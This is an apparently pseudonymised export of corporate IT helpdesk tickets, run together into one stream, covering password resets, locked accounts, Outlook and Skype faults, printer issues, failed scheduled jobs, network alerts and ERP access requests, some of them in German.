\_x000D\_
knethyen grechduy\_x000D\_
engineer, product engineering\_x000D\_
company\_x000D\_
jxgobwrm.qkugdipo@gmail.com<mailto:jxgobwrm.qkugdipo@gmail.com>\_x000D\_
t: (615 641-4399\_x000D\_
f: (615) 641-4268\_x000D\_
\_x000D\_
[cid:image001.jpg@01ced94a.22bd1f30]\_x000D\_
\_x000D\_
company inc. | 1600 technology way | usa, pa. 15650 | www.company.com<\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: problem on trs, Description: \_x000D\_
\_x000D\_
received from: bvpglyzh.dyhusejm@gmail.com\_x000D\_
\_x000D\_
hello, i have this error while sending trs, connected to vpn, can you help me? , is assigned to Assignment group: GRP\_0.Ticket with Short description: msd crm, Description: urgent help required - outlook to crm mfg\_tooltion issue.
problem detail---after "set regarding" a calendar item to an account, it doesn't show in the assigned crm account record.
ph:
, is assigned to Assignment group: GRP\_22.Ticket with Short description: ticket update for ticket\_no0442691, Description: ticket update for ticket\_no0442691, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype error : getting skype certificate error, Description: skype error : getting skype certificate error, is assigned to Assignment group: GRP\_0.Ticket with Short description: logon balancing error in erp even after connecting to vpn, Description: unable to connect to erp modules even after connecting to vpn, logon balancing error =88.\_x000D\_
it was working 15 minutes back. , is assigned to Assignment group: GRP\_0.Ticket with Short description: infopath issue : , Description: can not submit a discount through collaboration\_platform.\_x000D\_
\_x000D\_
says access denied must add to favorites i had this happen before., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to mobile broadband, Description: unable to connect to mobile broadband, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked, Description: account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: interface: fastethernet0/6 Â· company-johthryugftyson-city-ap-2 on company-na-usa-johthryugftyson-city-2960-access-sw02.company.com is down , Description: interface: fastethernet0/6 Â· company-johthryugftyson-city-ap-2 on company-na-usa-johthryugftyson-city-2960-access-sw02.company.com is down since 10:34 am on 09/23 et.\_x000D\_
\_x000D\_
logged on to switch found interface is down:\_x000D\_
\_x000D\_
sep 23 10:32:09.262 edt: %lineproto-5-updown: line protocol on interface fastethernet0/6, changed state to down\_x000D\_
sep 23 10:32:10.261 edt: %link-3-updown: interface fastethernet0/6, changed state to down\_x000D\_
company-na-usa-johthryugftyson-city-2960-access-sw02>$\_x000D\_
, is assigned to Assignment group: GRP\_4.Ticket with Short description: erp SID\_34 account locked , Description: erp SID\_34 account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked., Description: account locked., is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked., Description: account locked., is assigned to Assignment group: GRP\_0.Ticket with Short description: audio issue in dell 7350, Description: name:ksgytjqr ojdukgzc
language:
browser:microsoft internet explorer
email:ksgytjqr.ojdukgzc@gmail.com
customer number:
telephone:
summary:i cannot get the volume up high enough. it was fine yesterday now not high enough for conference calls., is assigned to Assignment group: GRP\_3.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: performance (speed) issue (mii), Description: order took 30 minutes to batch over from one work center bucket to the next.\_x000D\_
\_x000D\_
order 226020715\_x000D\_
operation 30 - 7:45\_x000D\_
operation 40/50 - 8:16\_x000D\_
\_x000D\_
this has happened on multiple other orders as well.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_41.Ticket with Short description: outlook error, Description: \_x000D\_
\_x000D\_
received from: doxmlcpr.xjheyscu@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
i am not able to get into outlook any more. keep getting messages telling me its stopped working and do i want to restart in safe mode to do repair. have had to send this from my phone. , is assigned to Assignment group: GRP\_0.Ticket with Short description: need the password\_management\_tool link, Description: need the password\_management\_tool link, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to tc78, Description: unable to connect to tc78, is assigned to Assignment group: GRP\_0.Ticket with Short description: usa village - clappdico: company-na-usa-clappdico-wireless-2960-access-sw06 is down since at 9:46 am et on 09/23., Description: usa village - clappdico: company-na-usa-clappdico-wireless-2960-access-sw06 is down since at 9:46 am et on 09/23.\_x000D\_
gigabitethernet0/1 Â· ###connection to clappdico wireless switch 53.96.41.1370-company-na-usa-clappdico-2960-access-sw05 , is assigned to Assignment group: GRP\_8.Ticket with Short description: internet explorer issue, Description: internet explorer issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account unlock and password reset, Description: erp SID\_34 account unlock and password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset the password for oweklxnm ubayizsq on windows login, Description: i try to change my log-in password and the system keeps stating the old password is not correct. and i disagree, because i tried so many times ( being careful), i know i typed in my old password correctly., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset., Description: erp SID\_34 password reset., is assigned to Assignment group: GRP\_0.Ticket with Short description: please unlock : tpfghtlugn (erp hana SID\_60) do not reset password., Description: please unlock : tpfghtlugn (erp hana SID\_60) do not reset password., is assigned to Assignment group: GRP\_53.Ticket with Short description: k100sfs.company.company.com is reporting a : down status on, HostName\_343. please investigate, Description: observing below alert in monitoring\_tool since 8:49 am on 09/23 et.\_x000D\_
k100sfs.company.company.com is reporting a : down status on, HostName\_343. please investigate\_x000D\_
cpu load is showing 100%, is assigned to Assignment group: GRP\_14.Ticket with Short description: crm in mobile phone, Description:
received from: qjiutmel.fgvtxeoy@gmail.com
good morning,
crm on my mobile device will not work, please see below a screen shot.
wghjkftewj
[cid:1d5bf51c-ed12-434b-940e-88747180d3e1]
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to get emails synced on samsung mobile device, Description: unable to get emails synced on samsung mobile device, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset ad , Description: password reset ad , is assigned to Assignment group: GRP\_0.Ticket with Short description: users are unable to connect to a machine in shop floor., Description: users are unable to connect to a machine in shop floor
machine name - 391-mazak
contact n0 - ., is assigned to Assignment group: GRP\_4.Ticket with Short description: pm\_tool\_for\_sd: missing currency-table in pm\_tool\_for\_sd-prod, Description: from: jurten setgyrt
sent: friday, september 23, 2016 7:33 am
to: stefyty parkeyhrt <esntuago.kwxrdhuv@gmail.com>
cc: qikvnjzc evmrcqug <qikvnjzc.evmrcqug@gmail.com>
subject: aw: pm\_tool\_for\_sd: missing currency-table in pm\_tool\_for\_sd-prod.!!!
hello stefyty
any progress on that topic?
we are running in trouble because we have to send out two proposals but cannot because of missing pricing
best , is assigned to Assignment group: GRP\_20.Ticket with Short description: office reinstall, Description: office reinstall, is assigned to Assignment group: GRP\_0.Ticket with Short description: re: need a little help--please, Description:
received from: bcefayom.lzhwcgvb@gmail.com
lunjuws,
if you recall we had this new form developed when we were there for the tmb project specially as per bakyhrer huhuyghes requirement.
please don't print this email unless you really need to - this will preserve trees on planet earth.
from: smxoklny hbecskgl
sent: 23 september 2016 17:45
to: damuphws arkulcoi; an; company@ticketing\_tool.com
cc: les
subject: re: need a little help--please
hcytr,
is this format the one that bakyhrer huhuyghes required with their bin numbers on the delivery note?
shathyra,
are you aware of the special requirement for bakyhrer huhuyghes delivery notes? i forgot about it until hcytr mentioned this.
best , is assigned to Assignment group: GRP\_18.Ticket with Short description: re: need a little help--please, Description:
received from: smxoklny.hbecskgl@gmail.com
chanthrydru,
is this format the one that bakyhrer huhuyghes required with their bin numbers on the delivery note?
shathyra,
are you aware of the special requirement for bakyhrer huhuyghes delivery notes? i forgot about it until chanthrydru mentioned this.
best , is assigned to Assignment group: GRP\_18.Ticket with Short description: please include purchase group in pr to po analysis., Description: please include field to enter aqzz/erpquery/memepr\_3========\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_20.Ticket with Short description: xerox in our office will not turn on, no power. outlet where it's plugged in is good., Description: xerox in our office will not turn on, no power. outlet where it's plugged in is good., is assigned to Assignment group: GRP\_3.Ticket with Short description: rechner ewewx212455 ( olympus ) kein zugriff auf \\HostName\_736\EU\_tool\ mÃ¶glich, Description: rechner ewewx212455 ( olympus ) kein zugriff auf \\HostName\_736\EU\_tool\ mÃ¶glich, is assigned to Assignment group: GRP\_24.Ticket with Short description: printer not working, Description:
received from: ugyawsjv.ypgjirlm@gmail.com
dear sir,
the printer at msg second floor \\awyrthysm010\\w46<file:///\\awyrthysm010\w46> is not working.
please rectify the problem immediately.
, is assigned to Assignment group: GRP\_19.Ticket with Short description: ms outlook doens't start, Description: \_x000D\_
\_x000D\_
received from: tzradpnj.izlotycb@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
\_x000D\_
as many times before, after system password change, ms outlook doens't start.\_x000D\_
attached printscreen.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_488 failed in job\_scheduler at: 09/23/2016 06:33:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_488 failed in job\_scheduler at: 09/23/2016 06:33:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: co account assignments have different profit centers , Description: from: rzucjgvp ioqjgmah
sent: friday, september 23, 2016 12:09 pm
to: subgtybaryuao hs; nyifqpmv kfirxjag
subject: re: erro log-reg
hi sutyu,
this seems to be related to co issue. i am requesting co person to look into this issue.
hi ramdntyassthywamy,
please help mr.subgtybaryuao on this.
, is assigned to Assignment group: GRP\_44.Ticket with Short description: erp access issue, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): SID\_34
enter user id of user having the issue:
magerjtyhd
yadavtghya
schgtewmik
transaction code(s) the user needs or was working with:
zcopc
describe the issue:
please remove the plant controller role from all three users. i have discussed with uylvgtfi eovkxgpn. he and obdphylz qaeicrkz do not need access again to zcopc. qbjmoihg nbgvyqac needs it but i would prefer if you could assign the role co:team\_view for her instead of plant controller.
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket.
provide access the same as this other user:, is assigned to Assignment group: GRP\_2.Ticket with Short description: install EU\_tool und bls \ rechner olympus \xwirzvda okhyipgr, Description: install EU\_tool und bls \ rechner olympus \xwirzvda okhyipgr, is assigned to Assignment group: GRP\_24.Ticket with Short description: schreib- und leseberechtigung auf den ordner m:\staebefertigung-leitung einrichten, Description: hallo ,\_x000D\_
\_x000D\_
bitte schreib- und leseberechtigung fÃ¼r user maerza auf den ordner m:\staebefertigung-leitung einrichten.\_x000D\_
\_x000D\_
danke\_x000D\_
, is assigned to Assignment group: GRP\_24.Ticket with Short description: dds, Description: dss, is assigned to Assignment group: GRP\_0.Ticket with Short description: info type '0017' missing to personal number 56678054, Description: from: fbgetczn jlsvxura \_x000D\_
sent: friday, september 23, 2016 10:15 am\_x000D\_
to: nyifqpmv kfirxjag\_x000D\_
cc: wjkzgyxh pktcqbxu\_x000D\_
subject: aw: unterhaltung mit nyifqpmv kfirxjag\_x000D\_
\_x000D\_
hello hr. ramdntyassthywamy,\_x000D\_
sebfghkasthian asked me to send you the below attached screen shots.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_10.Ticket with Short description: request access to SID\_1 uacyltoe hxgaycze, Description:
received from: gkerqucv.bqumyrea@gmail.com
good day,
jfhytu mthyuleng
senior buyer
gkerqucv.bqumyrea@gmail.com
[company 75th anniversary logo]
, is assigned to Assignment group: GRP\_0.Ticket with Short description: setup new ws \ewew8323879 \jionmpsf wnkpzcmv, Description: setup new ws \ewew8323879 \jionmpsf wnkpzcmv, is assigned to Assignment group: GRP\_24.Ticket with Short description: drucker von cvd we17 einrichten am pc 212536 in der qs, Description: drucker von cvd we17 einrichten am pc 212536 in der qs, is assigned to Assignment group: GRP\_24.Ticket with Short description: outlook issue, Description: \_x000D\_
\_x000D\_
received from: rgtarthi.erjgypa@company.com\_x000D\_
\_x000D\_
hello help,\_x000D\_
\_x000D\_
outlook is not getting updated automatically & periodically,\_x000D\_
time to time i need to update send & receive folder. this issue persists since last wednesday ( 14th sep).\_x000D\_
\_x000D\_
system was given to the it dept here on 21st but there is no improvement.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_355a1.ee766460]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_26.Ticket with Short description: probleme mit collaboration\_platform / infopath \difozlav dgbfptos, Description: probleme mit collaboration\_platform / infopath \difozlav dgbfptos, is assigned to Assignment group: GRP\_24.Ticket with Short description: erp pur - wrong subcontracting demand 2nd material , Description: hello,\_x000D\_
with component 2433384 we see a wrong subcontracting demand in erp coming from parent 3181756. \_x000D\_
the strange thing is that the po referenced is not a subcontracting po. \_x000D\_
we need to understand whatÂ´s going wrong here and need to remove the incorrect demand. \_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_29.Ticket with Short description: HostName\_1379: volume: h:\is over 85% space consumed. space available: 2.0 g , Description: volume: h:\ label:dat4-HostName\_1379-data e3fce49 on server: is over \_x000D\_
85% space consumed. space available: 2.0 g , is assigned to Assignment group: GRP\_39.Ticket with Short description: owa does not open., Description: owa does not open. \_x000D\_
error : page can not be displayed, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_1379 : volume: c:\ is over 85% space consumed. space available: 3.5 g :, Description: volume: c:\ label:sys-HostName\_1379 28385a7b on server: is over \_x000D\_
85% space consumed. space available: 3.5 g :, is assigned to Assignment group: GRP\_39.Ticket with Short description: user tempuser changed the layout in fb03 to be the default setting for everyone, Description: erp SID\_34, finance:\_x000D\_
user tempuser changed the layout in fb03 (/jinf(a)) to be the default setting for everyone. we tried to figure out which layout was the default before., i have chosen /2erp for now, but don't know exactly if this really was the default. .\_x000D\_
this happens from time to time, some users are not aware that they set a default for everyone. , is assigned to Assignment group: GRP\_10.Ticket with Short description: keine netzwerkverbindung fÃ¼r rechner vhw7020 , Description: bitte netzwerkverbindung fÃ¼r rechner vhw7020 herstellen (alicona messraum cs halle a), is assigned to Assignment group: GRP\_33.Ticket with Short description: appreciate hub password, Description: \_x000D\_
\_x000D\_
received from: xwertljy.zrmlhkyq@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
please reset my appreciate hub password.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: account "helftgyldt" gesperrt, Description: anmeldung bei account "helftgyldt" nicht mÃ¶glich. fehlermeldung : "das angesprochene konto ist momentan gesperrt und kann nicht fÃ¼r die anmeldung verwendet werden.", is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for qoybxkfh dwcmxuea using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: outlook takes too much time to open., Description: outlook takes too much time to open., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to change password through password\_management\_tool, Description: unable to change password through password\_management\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: account "jncvkrzm thjquiyl" gesperrt, Description: anmeldung bei account "jncvkrzm thjquiyl" nicht mÃ¶glich. fehlermeldung : "das angesprochene konto ist momentan gesperrt und kann nicht fÃ¼r die anmeldung verwendet werden.", is assigned to Assignment group: GRP\_0.Ticket with Short description: access for printer wy15 for trainee, Description:
received from: jczwxvdn.pexuklry@gmail.com
hi,
please provide access to wy15 printer (machine tool business) for below trainee.
trainee name: blapmcwk dgrkbnua k
login id: vvkusgtms4
computer no.: awyw8911656
, is assigned to Assignment group: GRP\_19.Ticket with Short description: error when pgi for with t&d delivery 9169324512 , Description: gso,\_x000D\_
please open an it ticket for the erp co group to review the issue below with t&d delivery 9169324512 where pgi does not work because of co assignment having different profit centers.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_44.Ticket with Short description: account lock release request of "nakagtwsgs", Description: hi team,
please unlock the windows account "nakagtwsgs".
user nameï¼šqwghlvdx pjwvdiuz
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset -hsh, Description: hello:
one of the workman aqihfoly xsrkthvf whose user id is hsh is not able to login to ess as his user id locked. he is a kiosk user. please re-set his password and confirm.
noscwdpm akiowsmp
manager, hr shared services center
noscwdpm.akiowsmp@gmail.com
, is assigned to Assignment group: GRP\_0.Ticket with Short description: picture in collaboration\_platform / outlook / skype (user: faerfrtbj), Description: my profile shows different pictures on collaboration\_platform / outlook / skype. see attached screenshots. the correct one should be the one shown on attachment "actual.jpg", is assigned to Assignment group: GRP\_16.Ticket with Short description: job Job\_485 failed in job\_scheduler at: 09/23/2016 02:31:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_485 failed in job\_scheduler at: 09/23/2016 02:31:00\_x000D\_
\_x000D\_
9/23/2016 1:05:55 am :: unable to release guest. error: failed to unfreeze guest system (network mode)\_x000D\_
rpc function call failed. function name: [unfreeze]. target machine: [10.2.18.54].\_x000D\_
rpc error:the remote procedure call failed.\_x000D\_
code: 1726 \_x000D\_
, is assigned to Assignment group: GRP\_8.Ticket with Short description: password reset, Description:
received from: bctypmjw.cbhnxafz@gmail.com
dear collegues,
i need a password reset for erp hrp modul.
username: rethtyuzkd
gruÃŸ/, is assigned to Assignment group: GRP\_0.Ticket with Short description: can i be allowed to use dropbox ?, Description: marcom team has assigned a task of proofreading. it requires me to download into dropdox. , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp account gesperrt, Description: erp-passwort 3mal verkehrt eingegeben - bitte erp-account freischalten., is assigned to Assignment group: GRP\_0.Ticket with Short description: add the rtpcnyhq ceqmwkhi to materials\_management / purchasing, Description:
received from: inxsupmy.zhwmifvx@gmail.com
hello team,
can you please add rtpcnyhq ceqmwkhi to the materials\_management/purchasing group in ticketing\_tool .
inxsupmy zhwmifvx
team lead - ssl (sourcing & logistics) - global it
inxsupmy.zhwmifvx@gmail.com
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job bwhrertran failed in job\_scheduler at: 09/23/2016 00:17:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bwhrertran failed in job\_scheduler at: 09/23/2016 00:17:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: india coating: interface: vlan1 on company-ap-ind-india-coating-dmvpn-891-rtr01 is down since 9/22/2016 11:12 pm et., Description: india coating: interface: vlan1 on company-ap-ind-india-coating-dmvpn-891-rtr01 is down since 9/22/2016 11:12 pm et., is assigned to Assignment group: GRP\_8.Ticket with Short description: engineering tool log in problem, Description: \_x000D\_
\_x000D\_
received from: dwsyaqpr.bzasnmvw@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
i have changed the password of engineering tool 2days back. it showed that it is successfully changed.\_x000D\_
still i am not able to login.\_x000D\_
\_x000D\_
please check the error message in the below image.\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_35577.c8358d50]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering\_tool problem, Description: hello\_x000D\_
i can not add a new customer while making a new engineering\_tool.\_x000D\_
i entered the country and the city.\_x000D\_
there used to be a button new, but not anymore.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_25.Ticket with Short description: apac, apac: temprature sensor#1, yellow - on company-ap-chn-apac-3750-access-sw02 on 9/22/2016 at 9:50 pm et., Description: sw#1, temperature sensor#1, yellow - on company-ap-chn-apac-3750-access-sw02\_x000D\_
hardware component: warning or critical state detected, is assigned to Assignment group: GRP\_4.Ticket with Short description: vip 2 - outlook not working - receiving a message that it is not a licensed product, Description: outlook not working - receiving a message that it is not a licensed product, is assigned to Assignment group: GRP\_19.Ticket with Short description: urgent - new customer account, Description: \_x000D\_
\_x000D\_
received from: aunpdmlj.kzhapcve@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
unable to proceed with opening a new customer account #81053922.\_x000D\_
\_x000D\_
please advise as what the issue is?\_x000D\_
\_x000D\_
[cid:image003.jpg@01SID\_35583.6ed99ce0]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_15.Ticket with Short description: sign in password, Description: \_x000D\_
\_x000D\_
received from: fpedscxo.acuvyqnx@gmail.com\_x000D\_
\_x000D\_
team,\_x000D\_
\_x000D\_
i was recently advised that my password needed changing.\_x000D\_
i went to the password manager site and changed passwords.\_x000D\_
\_x000D\_
all passwords for different things changed except one, my startup to log onto computer failed to change how do i change this one.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: boot up issue with the laptop., Description: boot up issue with the laptop.
-user requesting local it to check the laptop as the pc is not booting up at all.
-user tried to plug in the power adaptor .still no go.
-service tag: 7658r32
-asset tag: 405268
-ph:
, is assigned to Assignment group: GRP\_3.Ticket with Short description: :my computer keeps going off line, Description: name:sndaofyw jetcxpda
language:
browser:microsoft internet explorer
email:vichtyuky.warhtyonack@company.com
customer number:
telephone:
summary:my computer keeps going off line, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_555 failed in job\_scheduler at: 09/22/2016 18:17:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_555 failed in job\_scheduler at: 09/22/2016 18:17:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_46filesys failed in job\_scheduler at: 09/22/2016 18:16:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_46filesys failed in job\_scheduler at: 09/22/2016 18:16:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: user not recieving email on the iphone., Description: user not recieving email on the iphone.\_x000D\_
-checked the user account .all fine.\_x000D\_
-checked the user accont on the ecp site.all fine.\_x000D\_
-advised the user to contact vendor.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: vip 2: skype login issue., Description: name:rgtyob lafgseimer
language:
browser:microsoft internet explorer
email:pjcompanyfeg.wnrcyaks@gmail.com
customer number:
telephone:
summary:reset password today now skype will not take password, is assigned to Assignment group: GRP\_0.Ticket with Short description: job SID\_47filesys failed in job\_scheduler at: 09/22/2016 17:01:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_47filesys failed in job\_scheduler at: 09/22/2016 17:01:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: software installation, Description: name:uprmwlgb kirvecja
language:
browser:microsoft internet explorer
email:uprmwlgb.kirvecja@gmail.com
customer number:
telephone:
summary:software installation, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to print erp jobs from prtqv7282 after routing it from prtqv0001 , Description: unable to print erp jobs from prtqv7282 after routing it from prtqv0001 , is assigned to Assignment group: GRP\_45.Ticket with Short description: change printer from prtqv0001 to prtqv7282, Description: change printer from prtqv0001 to prtqv7282, is assigned to Assignment group: GRP\_0.Ticket with Short description: request to reset microsoft online services password for vmdwslkj.exvcknbp@gmail.com, Description: from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com]
sent: thursday, september 22, 2016 7:57 pm
to: nwfodmhc exurcwkm
cc: tiyhum kuyiomar
subject: amar - request to reset microsoft online services password for vmdwslkj.exvcknbp@gmail.com
importance: high
request to reset user's password
the following user in your organization has requested a password reset be performed for their account:
â€¢ vmdwslkj.exvcknbp@gmail.com
â€¢ first name: angyta hgywselena
â€¢ last name: brescsfgryiani acgyuna
consider contacting this user to validate this request is authentic before continuing.
if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user.
want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks.
sincerely,
company inc.
this message was sent from an unmonitored email address. please do not reply to this message.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: bill hartwell can't access drawings on \\HostName\_1330\departments\engineering\process sheets cadkey dwgs, Description: please assign bill the necessary permissions so that he can open the drawings (see attachment), is assigned to Assignment group: GRP\_12.Ticket with Short description: quoting engine, Description:
received from: iauqlrjk.nijdaukz@gmail.com
hello,
i have 2 previous tickets for an issue that i am experiencing again today. i am not sure why i keep having this issue, can someone help me understand if it is something i am doing wrong? this is something i use daily and need access to.
inc1547050 â€“ 9/05/16
inc1542047 â€“ 8/18/16
description: when i try to look at a configuration for a rqfhiong zkwfqagb, i get an error - while trying to invoke the method java.util.list.iterator() of a null object loaded from a local variable 'locallist'
, is assigned to Assignment group: GRP\_14.Ticket with Short description: product selector not working, Description: please investigate the issue with the product selector. currently no data is being loaded on the company website., is assigned to Assignment group: GRP\_51.Ticket with Short description: no display on the external monitor connected through docking station, Description: no display on the external monitor connected through docking station\_x000D\_
\_x000D\_
i request you to kindly look into a video display issue on my computer where i do not get display on the external monitor when docked to the docking station. i have tried on other docking stations and have not been able to get the display on the external monitor. i've had this issue for over three months and it was intermittent earlier. \_x000D\_
i had discussed this with ghkkytu and he is aware of this issue as we have worked on it together.\_x000D\_
we have reinstalled video drivers but issue still persists. i will leave the computer with security \_x000D\_
request assistance on the same.\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: ticket update on ticket\_no0442920, Description: ticket update on ticket\_no0442920, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to print from printer // install driver, Description: unable to print from printer // install driver, is assigned to Assignment group: GRP\_0.Ticket with Short description: mscrm: outlook not opening., Description: mscrm: outlook not opening.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-reconfigured the user profile .\_x000D\_
-launched outlook.\_x000D\_
-caller confirmed that he is now able to see the emails on outlook.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook on my pc won't open. , Description: stays on the open screen and won't complete. been like this for 2 days.
(in an off-site meeting so may not be able to answer phone for a while), is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to access windows account, Description: unable to access windows account, is assigned to Assignment group: GRP\_0.Ticket with Short description: auf den totmannhandys ist eine stÃ¶rung., Description: auf den totmannhandys ist eine stÃ¶rung.\_x000D\_
" techn. stÃ¶rung dps-request fehlt ! ", is assigned to Assignment group: GRP\_42.Ticket with Short description: urgent help required- crm mobile app , Description: loading crm mobile app times out and returns to phone desktop before completing download, is assigned to Assignment group: GRP\_0.Ticket with Short description: user haveing issues with the skype audio., Description: user haveing issues with the skype audio.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-checked the audio settings .\_x000D\_
-gave a uacyltoe hxgaycze call to the user.all fine.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3194 failed in job\_scheduler at: 09/22/2016 14:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3194 failed in job\_scheduler at: 09/22/2016 14:15:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: collaboration\_platform permission help, Description: i made a mistake and change the permissions do basically everything on the following page. i wanted to see if there was a way to restore all permissions to what they were yesterday?\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_16.Ticket with Short description: user wanted help to check if a email was spam., Description: user wanted help to check if a email was spam.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-assigned the ticket to the spam.\_x000D\_
-educated the user on the same.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: skype problem!, Description: \_x000D\_
\_x000D\_
received from: ztdgvclp.gzcalstq@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
i am having a problem with skype. i am not able to find my colleagues!!!\_x000D\_
[cid:image001.png@01SID\_354d3.4a1aefe0]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ie cleanup, Description: ie cleanup, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to access bex analyzer , Description: unable to access bex analyzer as nothing happens when click
pc name: lmdl8516210
phone: , is assigned to Assignment group: GRP\_19.Ticket with Short description: erp login information misplaced, Description: password reset needed, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update inplant\_862994, Description: ticket update inplant\_862994, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook asking to reactivate , Description: outlook asking to reactivate , is assigned to Assignment group: GRP\_27.Ticket with Short description: unable to print from the printer hp color laser cp4005 pcl6-cl33, Description: unable to print from the printer hp color laser cp4005 pcl6-cl33\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-the printer keeps asking to update drivers.\_x000D\_
-tried to install the drivers . no go\_x000D\_
-contact : -8093\_x000D\_
-computer name : lhql8516312\_x000D\_
-user wants to have local it look as there are many users faceing similar issue., is assigned to Assignment group: GRP\_3.Ticket with Short description: usb port issue, Description: usb ports not works at time, is assigned to Assignment group: GRP\_19.Ticket with Short description: ie upgrade, Description: upgraded the ie to 11 on uacyltoe hxgaycze workstation., is assigned to Assignment group: GRP\_19.Ticket with Short description: user wants to change the erp printer prt1: prtqv0001 to prt2:prtqz7282, Description: user wants to change the erp printer prt1: prtqv0001 to prt2:prtqz7282, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows account locked, Description: windows account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: :i am trying to find an expense report to approve. i have an email that says i have one to approve. it is not showing up, Description: name:bonhyb knepkhsw
language:
browser:microsoft internet explorer
email:xziwkgeo.gdiraveu@gmail.com
customer number:
telephone:
